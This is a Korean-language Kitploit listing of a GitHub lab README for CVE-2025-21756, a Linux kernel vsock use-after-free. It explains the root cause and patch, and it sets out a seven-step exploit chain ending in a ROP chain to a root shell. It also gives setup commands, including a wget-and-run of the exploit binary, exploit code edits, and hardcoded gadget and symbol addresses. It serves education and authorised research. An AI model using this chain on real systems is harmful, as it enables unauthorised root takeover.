Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-21756 — 자동화된 설정 및 ROP 체인 분석과 함께 Linux 커널의 vsock 하위 시스템에서 use-after-free(UAF) 익스플로잇을 통해 루트로 로컬 권한 상승을 시연하는 교육용 랩. | Kitploit
도구/GitHubGitHub/h3raklez/cve-2025-21756
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

자동화된 설정 및 ROP 체인 분석과 함께 Linux 커널의 vsock 하위 시스템에서 use-after-free(UAF) 익스플로잇을 통해 루트로 로컬 권한 상승을 시연하는 교육용 랩.

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-21756 — Exploitation Lab

교육 및 승인된 보안 연구 목적으로만 사용하십시오.

설명

CVE-2025-21756은 2025년 2월 26일에 공개된 Linux 커널의 vsock(Virtual Socket) 서브시스템에서 발생하는 use-after-free (UAF) 취약점입니다. 이 취약점으로 인해 로컬 공격자가 영향을 받는 Linux 시스템에서 루트 권한 상승을 할 수 있습니다.

  • CVSS v3.1: 7.8 (HIGH)
  • 벡터: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • 영향을 받는 구성 요소: net/vmw_vsock/af_vsock.c
  • 영향을 받는 커널: Linux 6.6.75 (및 이전 패치되지 않은 버전)

근본 원인

vsock 소켓의 전송 재할당 중에 버그가 발생합니다. 취약한 시퀀스는 다음과 같습니다.

  1. vsock_create()가 refcnt=2인 소켓을 생성하고 unbound list에 삽입합니다.
  2. transport->release()가 vsock_remove_bound()를 호출하는데, 소켓이 bound list로 이동되었는지 확인하지 않고 refcnt를 잘못 감소시킵니다.
  3. vsock_bind()는 소켓이 여전히 unbound list에 있다고 가정하고 _vsock_remove_bound()를 다시 호출합니다.
  4. refcnt가 조기에 0에 도달 → vsock 객체가 여전히 참조되고 있는 상태에서 해제됨 → UAF

적용된 패치

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

익스플로잇 체인

  1. UAF 트리거 — 서로 다른 전송을 생성하는 CID로 두 번 연속 connect()를 호출하면 vsock 객체가 vsock_bind_table에 여전히 연결된 상태에서 조기에 해제됩니다.
  2. Slab 해제 — SLUB 부분 리스트를 비워 희생자 페이지를 페이지 할당자로 반환합니다.
  3. Page spray — 해제된 페이지를 unix_dgram_sendmsg와 order-2 메시지(MIGRATE_UNMOVABLE)를 사용하여 회수하고, 제어된 데이터로 채웁니다.
  4. Side-channel — vsock_diag_dump(AppArmor로 보호되지 않음)를 사이드 채널로 사용하여 페이지가 회수되었는지 감지하고 페이지 내에서 희생자 객체의 정확한 오프셋을 찾습니다.
  5. RIP 하이재킹 — sk->sk_prot를 udp_prot+0x1c0(udp_abort)을 가리키도록 덮어씁니다. 이 포인터가 호출되면 sk->sk_error_report(sk)를 호출하며, 그 포인터는 스택 피봇 가젯으로 덮어씁니다.
  6. ROP 체인 — commit_creds(init_cred)를 실행하여 프로세스에 루트 자격 증명을 할당한 다음 KPTI 트램펄린을 통해 사용자 공간으로 돌아갑니다.
  7. 루트 셸 — execve("/bin/sh")를 uid=0으로 실행합니다.

요구 사항

  • Debian 12 또는 13 x86_64 (Debian 13에서 테스트 완료)
  • sudo 액세스 권한이 있는 일반 사용자
  • 최소 RAM: 1 GB
  • 여유 디스크 공간: 10 GB

랩 설정

root@kitploit:~
# 설정 스크립트 다운로드
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# 루트가 아닌 일반 사용자로 실행
./setup-lab.sh

스크립트는 다음 작업을 자동으로 처리합니다:

  • sudo가 없으면 설치
  • 필요한 모든 종속성 설치 (build-essential, qemu-system-x86, bc, pahole 등)
  • 공식 Google kCTF 환경 다운로드 (커널 lts-6.6.75, rootfs, ramdisk)
  • ktranowl 익스플로잇 다운로드 및 필요한 패치 적용
  • 익스플로잇 컴파일
  • 올바른 매개변수로 실행 환경 생성
  • 단일 진입점으로 run_lab.sh 생성

랩 실행

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

환경이 부팅되면 내부에서 다음을 실행합니다.

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

예상 출력

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

종료하려면: Ctrl-A X


원본 익스플로잇에 적용된 수정 사항

기본 익스플로잇은 ktranowl의 것입니다. 이 환경에서 작동하도록 다음과 같은 수정 사항이 적용되었습니다.

1. KASLR 비활성화

수정: 커널 부팅 매개변수에 nokaslr 추가.

이유: 원본 익스플로잇은 EntryBleed라는 TLB 타이밍 사이드 채널 기술을 사용하여 KASLR을 우회합니다. 이 기술은 정확한 CPU 타이밍이 필요합니다. 중첩 가상화 환경에서는 rdtsc 정밀도가 EntryBleed가 안정적으로 작동하기에 충분하지 않아 잘못된 kbase가 생성되고, 이로 인해 ADDRESS()로 계산된 모든 주소가 잘못됩니다. KASLR을 비활성화하면 커널이 항상 0xffffffff81000000에 로드되고 익스플로잇의 하드코딩된 오프셋이 항상 올바르게 유지됩니다.

2. user_rip를 modeprobe_exec에서 check_root로 변경

exploit.c의 수정 사항:

root@kitploit:~
// 이전
uint64_t user_rip = (uint64_t)modeprobe_exec;

// 이후
uint64_t user_rip = (uint64_t)check_root;

이유: modeprobe_exec는 원본 익스플로잇에서 원격 kCTF 환경을 위한 권한 상승 기술입니다. 여기에는 명령줄 인수(원격 서버의 IP 및 포트)와 외부 네트워크 연결이 필요합니다. 이러한 인수가 없으면 argv[1]을 읽으려고 시도할 때 프로세스가 GPF로 중단됩니다. check_root는 uid를 직접 확인하고 /bin/sh를 실행하므로 로컬 환경에서 익스플로잇을 시연하는 데 충분합니다.

3. check_root 내부의 modeprobe_exec 호출 제거

exploit.c의 수정 사항:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // 제거됨
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

이유: user_rip가 check_root를 가리키더라도 이 함수는 /bin/sh를 실행하기 전에 내부적으로 modeprobe_exec를 다시 호출했습니다. 필요한 인수가 없으면 해당 호출이 GPF를 발생시키고, commit_creds가 이미 권한 상승을 성공적으로 수행했음에도 불구하고 셸을 열지 않고 프로세스가 종료되었습니다.


ROP 체인 및 심볼 분석

랩 설정 과정에서 모든 커널 심볼과 ROP 가젯이 공식 kCTF lts-6.6.75 커널을 기준으로 검증되어 이 환경에 유효함을 확인했습니다.

ROP 가젯

익스플로잇에 사용된 세 가지 가젯은 vmlinux 바이너리에서 ROPgadget을 사용하여 추출되었으며, 하드코딩된 값과 정확히 일치하는 것으로 확인되었습니다.

이들 중 수정이 필요한 것은 없었습니다.

커널 심볼

다음 심볼은 커널 내부의 /proc/kallsyms를 통해 확인되었습니다 (nokaslr로 인해 오프셋이 고정됨).

모든 값이 익스플로잇의 원본과 일치했습니다. 수정이 필요하지 않았습니다.

address_contain_udp_abort에 대한 참고

이 값은 udp_abort 함수를 직접 가리키지 않습니다. struct proto 내부의 diag_destroy 필드인 udp_prot + 0x1c0을 가리킵니다. 이는 의도적인 것입니다. vsock_release는 sk->sk_prot->close(sk, 0)을 호출합니다. 여기서 close는 struct proto의 오프셋 0에 있습니다. sk_prot를 udp_prot의 시작 대신 udp_prot->diag_destroy를 가리키도록 하면 커널은 diag_destroy를 마치 close 포인터인 것처럼 읽게 되어 udp_abort를 포함하게 됩니다. 이는 로 연결되고, 여기서 스택 피봇 가젯이 배치됩니다.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot가 udp_prot+0x1c0을 가리킴
    └── udp_abort(sk)              ← diag_destroy 필드, close()로 읽힘
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← 스택 피봇 가젯
                └── ROP 체인
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → 루트 셸


완화

공식 패치는 커널 6.14-rc1부터 사용 가능하며 유지 관리되는 모든 LTS 브랜치에 백포트되었습니다. 영향을 받는 배포판은 자체 권고를 발표했습니다.

  • Ubuntu: USN-7361-1 및 이후
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 및 이후

참고 자료


면책 조항

이 도구는 교육 목적과 승인된 보안 테스트만을 위해 제공됩니다. 귀하가 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

도구 다운로드
가젯주소목적
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32스택 피봇 — RSP를 제어된 vsock 객체의 시작 위치로 이동
add rsp, 0xb8 ; jmp ...0xffffffff8170292c스택 전진 — 예약된 필드를 건너뛰어 ROP 체인에 도달
pop rdi ; ret0xffffffff8115e4f9commit_creds(init_cred)의 첫 번째 인수 로드
심볼주소참고
vsock_bind_table[0x7a]0xffffffff84bc6280사이드 채널 앵커 — 희생자 객체가 위치하는 vsock 리스트 슬롯
init_net0xffffffff84bb1f80vsock_diag_dump를 통해 가짜 vsock 객체의 유효성 검사에 사용
commit_creds0xffffffff811fdac0현재 프로세스에 루트 자격 증명 할당
init_cred0xffffffff83c74d80uid=gid=0인 자격 증명 구조, 커널 베이스로부터 고정 오프셋
kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — CR3 복원 및 사용자 공간으로 복귀
address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — 아래 참고 참조
sk_error_report(sk)
측면원본 (ktranowl)이 랩
KASLR 우회EntryBleed (TLB 타이밍)비활성화 (nokaslr)
권한 상승 기술core_pattern을 통한 modeprobe_exec직접 execve("/bin/sh")
대상 환경원격 kCTF로컬
외부 연결 필요예아니요
리소스URL
원본 분석글 (Hoefler)https://hoefler.dev/articles/vsock.html
Hoefler 익스플로잇https://github.com/hoefler02/CVE-2025-21756
n-day 분석 (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
ktranowl 익스플로잇https://github.com/khoatran107/cve-2025-21756
공식 패치https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
kCTF 규칙https://google.github.io/security-research/kernelctf/rules.html